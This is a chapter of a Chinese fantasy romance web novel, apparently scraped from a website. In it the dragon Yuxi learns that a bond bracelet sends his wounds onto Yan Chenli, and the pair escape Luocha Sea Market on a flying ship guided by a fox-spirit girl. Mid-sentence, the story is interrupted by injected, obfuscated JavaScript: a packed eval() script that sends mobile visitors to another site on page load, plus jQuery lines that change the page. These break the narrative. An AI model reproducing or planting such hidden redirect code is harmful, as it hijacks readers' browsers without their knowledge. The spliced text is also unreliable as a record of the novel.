黑衣人目标明确,干净利落,连一句废话都没有。
剑击出去的瞬间,法脉中心狠狠一震。
腹部鳞甲与剑尖相触的一瞬间就裂开一条缝,剧痛让白龙仰天长啸,未曾注意到,他爪子上那个牢牢将他套住的黑色手镯正在疯狂转动。
那一刻,羽熹神魂都失了色,心中唯有一个念头。
我未出世的孩子,对不起,是爹爹没有保护好你。
“住手!”
忽然,一道熟悉的声音从后方传来,如一道惊雷,刺破黑暗,震耳欲聋,令羽熹陡然睁开眼,眼波一颤。
这是……鄢尘离的声音。
他终于来了。
眼眶那滴泪终于不再颤动,压过下睫,整颗滚落。
可是,来不及了。
鄢尘离,你怎么不早点来。
羽熹想扭头看一看那个人,却做不到,只能低下头,眼睁睁看着那柄长剑没入腹中。
“聿明啊聿明,你这个人好古板,每次打架都要写个战书。”
亘古久远的声音在脑海中浮现,他听见那个男人笑着说:“那你怎么每次都不看。”
想到这里,羽熹有一点点小遗憾。
他好像的确从没有看过聿明的战书里,到底写了什么。
他总想着,战书就是战书,有什么好看的,收到便应战,直接打不就行了,难不成还要他回一封信,说自己愿意一战,等双方都确认了再打?
那太也太磨叽了吧。
小龙发出一声轻喟,似是笑了笑。
鄢尘离终究是来晚了一步,羽熹闭上眼。
“唔……”
羽熹意识尚未消散,听见身后似乎传来一声闷响,利器刺破血肉的声音清晰可闻,接着便是膝盖重重磕在地上的声音。
不对。
羽熹陡然睁开眼。
发生了什么?
长剑明明穿过了他的腹部,却没有痛感传来,就连腹部那一小片鳞甲裂开的痛也只是一瞬间,下一秒就只剩罡风擦过鳞片的痒痒感。
他猛地扭头,却发现那本该贯穿自己的长剑,直直刺入了鄢尘离身体。
男人闷哼一声跪在地上,一只手拿着曈曚剑撑着身体,另一只手捂着黑气滚滚的伤口,鲜血从指缝中流落到地上汇聚成湖。
“鄢尘离……”羽熹讷讷地喊了一声,全然无法理解眼前的状况。
那柄黑剑的伤,怎么落到了鄢尘离身上?
在他愣然出神的时间,鄢尘离已经支撑着身体站了起来,缓缓拔出曈曚剑,鬼魅一般,以肉眼难以看见的速度冲破囚台。
一震疾风隆隆而过,锁链哗啦啦断裂开来,那人却没有停住,一跃而起举着剑凌空一斩。
瞬间,浮屠塔法脉中心,惊起比九十九层还要汹涌激烈的裂响,整个地面和墙壁被生生切开,九十八层的镜面碎裂,映出塔外漆黑的夜色。
一只冰霜巨鸟煽动着羽翅,几乎遮蔽了半个浮屠塔尖,和一群修士凌空对峙着,无人顾及缝隙后头这一方密室又发生何等轰轰烈烈的异变。
曈曚剑至刚至纯的金乌之力在密室轰然扩散,贴在墙上的青栩在眨眼间化成了灰烬。
羽熹却没感觉到灼烧感,反而被一道温暖的风包裹住,连手脚被锁链勒出来的伤都不再作痛。
黑袍男人硬生生接下了曈曚一剑,血腥气在周围炸开,他奋力格开剑一个旋身,眨眼间便隐入裂缝,不知去向。
曈曚剑“锵”的一声磕在地上,大地一颤。
鄢尘离吐出一口血,艰难地抬眼看了看囚台上安然无恙的少年,重重倒在地上。
羽熹瞳孔一缩,大步流星跑过去朝他伸出双手,从背后将他接住。
“鄢尘离,你怎么了?你为什么会受伤?”他捧着男人伤口处,沾了一手的血,惶然错愕,“怎么会这样,那把剑明明是冲着我来的,你怎么会……你怎么……”
他握着男人的手,本想将他拉起来让他靠在自己身上,却注意到男人手心也有一道已经愈合的伤痕。
像是明白了什么,羽熹双眸狠狠一颤。
“这是……这是洛羽的骨刀划出来的伤口。”
骨刀的刃和剑不同,划出的伤口很钝,疤痕也难看,他一眼就认了出来。
骨刀附着妖力,若是落在寻常人身上,疤痕很难消除,且骨刀比剑钝,伤口也会十分狰狞。
羽熹皱眉,“洛羽不可能近得了你的身,你这伤怎么来的?”
他摸了摸凹凸不平的增生,忽然想起在黄泉驿站的房间时,洛羽把他当成谢乔,二话不说提刀就砍。
他当时用手接了一刀,事后手上却没有伤口。
羽熹瞬间一切都明了了。
“我的伤口都会转移到你身上,鄢尘离,你到底做了什么?”他说这话时喉咙都在颤抖,举起手腕上隐隐透出红色光芒的法镯,说出自己的猜测,“是因为这个?”
两人结契时交换的信物,鄢尘离一定要他戴上,他当时使性子不肯戴,鄢尘离还跟他生了好大的气。
原来是这样……
羽熹鼻腔泛起难以压制的酸意。
鄢尘离抽出手,轻轻在少年脸颊抹了抹,眼底深深的,像一片海,回荡着劫后余生的庆幸,“我来了,别怕。”
男人的手常年练剑,手掌宽厚粗糙,指腹有一层茧,划过少年嫩薄的皮肤,擦出一抹微红。
他声音很轻,落在羽熹心里却有千钧,翻涌炸起波澜。
魔神聿明高高在上,眼里从来都是倨傲不羁,跟他斗了几千年,羽熹从未见他有过这样的一面。
轰隆——
外面争斗不休,浮屠塔摇摇欲坠,穹顶的灰落下,蒙在囚台和地面。
“你忍住,我带你先离开这里。”
羽熹背过身,吃力地将男人拉到自己背上,不知扭到了哪里,腹部传来异样。
他咬了咬牙,腾出一只手安抚一番腹中龙蛋,将鄢尘离半背着,两步走出去,额上一对龙角渐渐变大。
少年再次化龙腾起,背着重伤的男人,从那道曈曚剑劈出来还隐隐冒着火星子的裂缝里飞了出去。
洛羽不知有意还是无意,连浮屠塔上空外层的结界也打开了。
冰霜鸟还在和众修士缠斗,浮屠塔尖成了风暴中心,罗刹海市看热闹的也加入其中,试图浑水摸鱼。
一片混乱。
羽熹连看都没看一眼,径直从打得火热的战场飞过,直奔渡口。
罗刹海市渡口也是一片混乱,有人趁火打劫,结队爬上了别人的飞艎,偷盗财宝,甚至有人直接把飞艎开走了,飞到海面跟人打起来,轰隆隆的随着整艘船落入海中,掀起一片巨浪。
羽熹敛了真身,将鄢尘离手臂搭在自己肩膀上,半扶半扛地往无人处走。
他现在的体力,不足以支撑他以原形横跨罗刹海,必须要有船。
“风羲和说过,他给我留了一艘船,你在这里等我,我去找船。”
他找到一处礁石鄢尘离放下,起身时手却被扣住。
“此处混乱,你不要一个人乱跑。”
鄢尘离虚弱地拉着少年。
换往常,羽熹并不会在意情势如何,他向来去留随心,不管不顾,更是爱跟鄢尘离反着来,鄢尘离不让他干什么,他就非要干什么。
但此刻,他没再一意孤行,弯下腰,再次把人扛起来,“好,我带你一起去找。”
动作间,鄢尘离忽然捂着伤口闷哼一声,喷出一口鲜血,跪倒在地,已经是难以支撑。
羽熹被吓了一跳,忙蹲下去看他伤势,“你怎么样了?刚才还好好的,怎么突然伤势加重了?”
鄢尘离半跪着,撑在地上的手青筋暴起,仿佛下一秒血管就要爆裂开来,浑身发出细细的颤抖,好像在极力压制着什么。
羽熹这才想起,鄢尘离一直都有未愈的旧伤。不仅仅是在藏书阁替他受的那一下,在那之前就压制不住本命剑,被反噬到快走火入魔。
“你身上到底有多少伤……”
他喃喃两句,有些投鼠忌器地碰了碰他腹部黑气汹汹的伤口。
多重伤势在身,此时正是元神虚弱,他的本命剑曈曚本就有失控之势,这次又没有找到镇剑之物,若是放着不管,必会趁虚而入,侵蚀主人神魂,雪上加霜。
“你再坚持一下,我一定会想到办法救你的。”
当务之急,是要先找到镇剑之物。
只有他不再被本命剑反噬,其他的伤才能慢慢修养恢复。
“谁!”鄢尘离目光凛冽,陡然刺向礁石后。
“有人?”羽熹也反应过来,呵斥一声,“谁在哪里!出来!”
此处黑魆魆的,海市的鬼火照不透,一片阴影中,有团影子动了动,随即从礁石后面,探出一个人影。
一个披着白色披风的少女犹豫地走出来两步,声音稚嫩,“我是……白鸦。”
“浮屠塔的人。”
羽熹立马召出不可不眠剑意,横刀指向少女。
少女退后几步,慌忙辩解,“我不是,我只是个妖仆。是风大人叫我在此等候。”
“风大人,风羲和?”
少女点头,“我叫七狸,风大人说可以救我们出去,但是要我们守在渡口,等一个戴着黑色手镯的漂亮哥哥。”
许是见两人并无杀意,七狸从阴影中走出来,脱下兜帽,头上耷拉着两只毛茸茸的狐耳,是只小狐妖。
小狐妖指了指脚上拖着的镣铐,“风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016002|193610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大人说,美人哥哥会帮我解开禁制,我只要将两位带上飞艎离开这里,从此后我便自由了。”
羽熹看了看四周,罗刹海市不断有人冲出来,或是逃亡,或是打劫,远处高耸的浮屠塔熄灭了昼夜不歇的灯火,变成一尊黑暗中的鬼影,藏着随时可能爆发的危险。
“先带我们上船,上船后我自会帮你斩断锁链。”
七狸揪着手指,同他一样,不敢轻信任何人。
羽熹头疼,在鄢尘离身上摸了摸,摸出半块鱼形玉佩,二话不说仍给七狸,
“这个抵给你,这是他贴身之物,必然重要,如此便知我不会骗你。”
鄢尘离:“……”
少年动作太快,他伸了伸手想阻止,都没能来得及,只得默默收回手。
七狸收好玉佩,转身钻进礁石洞中。
羽熹扶着男人跟上,似乎是在解释,“我身上什么都没有了,法镯又取不下来,委屈你一下,一会儿肯定帮你拿回来。”
他装作不知那是何物,没有诚意地安抚两句。
七狸带着他们进了洞窟,底下四通八达,生人一旦闯进来,恐怕很难转出去。
“还有多久?”鄢尘离脚步越发沉重,羽熹明显感觉到吃力,越发着急起来。
“快了快了,你们跟上我。”七狸道:“风大人说过,一会儿罗刹海市可能会乱,飞艎无人看管一定会被人抢夺,所以停放在一个很隐蔽的地方,就算是飞到空中俯瞰整个岛,也看不见。”
几人又是起起伏伏绕了许久,终于豁然见到一丝光亮,是海面反射出来的朦胧月光。
羽熹一看,他们三人到了海岛侵蚀崖的崖壁外,前方无路,漆黑的海面翻起波涛,一阵阵拍在崖岸。
一艘中型飞艎悬停在崖壁下方,底座刚好被浪花顶着。
七狸径直跳了下去,她身姿轻盈,唯有脚上的锁链落在船板发出撞击声,在空旷的海湾显得十分突兀。
很快,七狸操控着飞艎靠上来,羽熹扶着鄢尘离上了船。
“走吧。”
“嗯。”七狸把船开了出去。
“七狸,定好方向后你去检查一下船上有没有藏着其他人,我先带他进去疗伤。”
七狸眼神有些闪躲,忙不迭点头,连对方还没实现承诺帮她解除禁制的事都忘了。
“我会在这里守着的。”
见少年把人带进了船舱后,七狸松了口气,定好方向便转身,往船后方悄声踱了过去。
“伤口的剑意残留需要清理,你把我放下来,我自己处理。”
羽熹把他扶到榻上,有点不放心,“你一个人可以吗,需不需要我为你护法?”
鄢尘离摇头,“没事,我能处理。”
说着,他便盘腿坐下,开始运行真气。
羽熹干看了一会儿,确定确实不需要他帮忙,才放下心。
这道剑伤对鄢尘离来说不足以致命,要命的是在重伤情况下,还在遭受曈曚剑反噬。
他便走到一旁,把曈曚剑拿起来,有些懊恼,“现在没了雪魄石,还有什么能替代它做镇剑呢?”
想起被他翻过的《博物志》,上面或许有记载,便静下心闭上眼睛,仔细回忆里面的内容。
现在就算不是为了云方仪,他也得找到镇剑之物。
他丝毫没有想到,鄢尘离给他的镯子竟然是这样的用处——他所受到的所有伤害,都会直接转移到鄢尘离身上。
难怪,难怪洛羽的骨刀砍在手心却没有伤口……
难怪鄢尘离在他差点死在藏书馆时动那么大怒,强迫也一定要让他戴上这个手镯。
他何至于做到这一步。
是为了谢乔吗?
这样的念头一闪而过,他飞快清空杂念,在脑海中复原书籍内容。
被锁了好半天的识海渐渐恢复,龙魂忽然躁动起来。
“你没事吧羽熹?龙族后嗣还好吗?”
“方才万龙冢被封闭了,这很不对劲,袭击你的人究竟是谁?竟然能影响万龙冢。”
“我们能很明显感觉到,这个人并不简单,羽熹,你要理解我说的不简单是什么意思,这个人他——”
羽熹皱眉,破天荒打断了龙魂的话,“前辈们,我现在很着急,必须要找到替代雪魄石的东西,浮屠塔的事之后再说好吗?”
羽熹看着娇纵,其实对万龙冢的前辈们一向尊敬有礼,从不打断他们的话。
龙魂们也看出他此时有多紧张,便说:“凡修界上哪儿找那么多能给曈曚剑做镇剑的宝贝,不过聿明有句话倒是没说错,龙身上都是极其珍稀的灵宝,什么千不千年雪魄石的,都不如你一片龙鳞有用。”
话音落地,识海静谧一瞬,羽熹陡然睁眼。